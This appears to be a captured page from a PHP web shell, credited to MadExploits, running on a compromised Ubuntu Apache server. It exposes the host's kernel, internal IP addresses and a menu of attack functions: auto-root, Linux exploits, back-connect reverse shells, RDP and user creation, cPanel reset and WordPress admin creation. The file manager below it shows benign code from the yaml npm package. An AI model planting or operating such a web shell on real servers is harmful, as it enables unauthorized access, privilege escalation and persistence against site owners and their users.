Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
yaml /
dist /
nodes /
[ HOME SHELL ]
Name
Size
Permission
Action
Alias.d.ts
1.02
KB
-rw-rw-r--
Alias.js
3.34
KB
-rw-rw-r--
Collection.d.ts
2.9
KB
-rw-rw-r--
Collection.js
5.14
KB
-rw-rw-r--
Node.d.ts
2.21
KB
-rw-rw-r--
Node.js
1.35
KB
-rw-rw-r--
Pair.d.ts
1.24
KB
-rw-rw-r--
Pair.js
1.2
KB
-rw-rw-r--
Scalar.d.ts
1.62
KB
-rw-rw-r--
Scalar.js
759
B
-rw-rw-r--
YAMLMap.d.ts
2.35
KB
-rw-rw-r--
YAMLMap.js
4.99
KB
-rw-rw-r--
YAMLSeq.d.ts
2.47
KB
-rw-rw-r--
YAMLSeq.js
3.58
KB
-rw-rw-r--
addPairToJSMap.d.ts
240
B
-rw-rw-r--
addPairToJSMap.js
3.85
KB
-rw-rw-r--
identity.d.ts
1.37
KB
-rw-rw-r--
identity.js
1.75
KB
-rw-rw-r--
toJS.d.ts
879
B
-rw-rw-r--
toJS.js
1.26
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Alias.js
'use strict'; var anchors = require('../doc/anchors.js'); var visit = require('../visit.js'); var identity = require('./identity.js'); var Node = require('./Node.js'); var toJS = require('./toJS.js'); class Alias extends Node.NodeBase { constructor(source) { super(identity.ALIAS); this.source = source; Object.defineProperty(this, 'tag', { set() { throw new Error('Alias nodes cannot have tags'); } }); } /** * Resolve the value of this alias within `doc`, finding the last * instance of the `source` anchor before this node. */ resolve(doc) { let found = undefined; visit.visit(doc, { Node: (_key, node) => { if (node === this) return visit.visit.BREAK; if (node.anchor === this.source) found = node; } }); return found; } toJSON(_arg, ctx) { if (!ctx) return { source: this.source }; const { anchors, doc, maxAliasCount } = ctx; const source = this.resolve(doc); if (!source) { const msg = `Unresolved alias (the anchor must be set before the alias): ${this.source}`; throw new ReferenceError(msg); } let data = anchors.get(source); if (!data) { // Resolve anchors for Node.prototype.toJS() toJS.toJS(source, null, ctx); data = anchors.get(source); } /* istanbul ignore if */ if (!data || data.res === undefined) { const msg = 'This should not happen: Alias anchor was not resolved?'; throw new ReferenceError(msg); } if (maxAliasCount >= 0) { data.count += 1; if (data.aliasCount === 0) data.aliasCount = getAliasCount(doc, source, anchors); if (data.count * data.aliasCount > maxAliasCount) { const msg = 'Excessive alias count indicates a resource exhaustion attack'; throw new ReferenceError(msg); } } return data.res; } toString(ctx, _onComment, _onChompKeep) { const src = `*${this.source}`; if (ctx) { anchors.anchorIsValid(this.source); if (ctx.options.verifyAliasOrder && !ctx.anchors.has(this.source)) { const msg = `Unresolved alias (the anchor must be set before the alias): ${this.source}`; throw new Error(msg); } if (ctx.implicitKey) return `${src} `; } return src; } } function getAliasCount(doc, node, anchors) { if (identity.isAlias(node)) { const source = node.resolve(doc); const anchor = anchors && source && anchors.get(source); return anchor ? anchor.count * anchor.aliasCount : 0; } else if (identity.isCollection(node)) { let count = 0; for (const item of node.items) { const c = getAliasCount(doc, item, anchors); if (c > count) count = c; } return count; } else if (identity.isPair(node)) { const kc = getAliasCount(doc, node.key, anchors); const vc = getAliasCount(doc, node.value, anchors); return Math.max(kc, vc); } return 1; } exports.Alias = Alias;
Close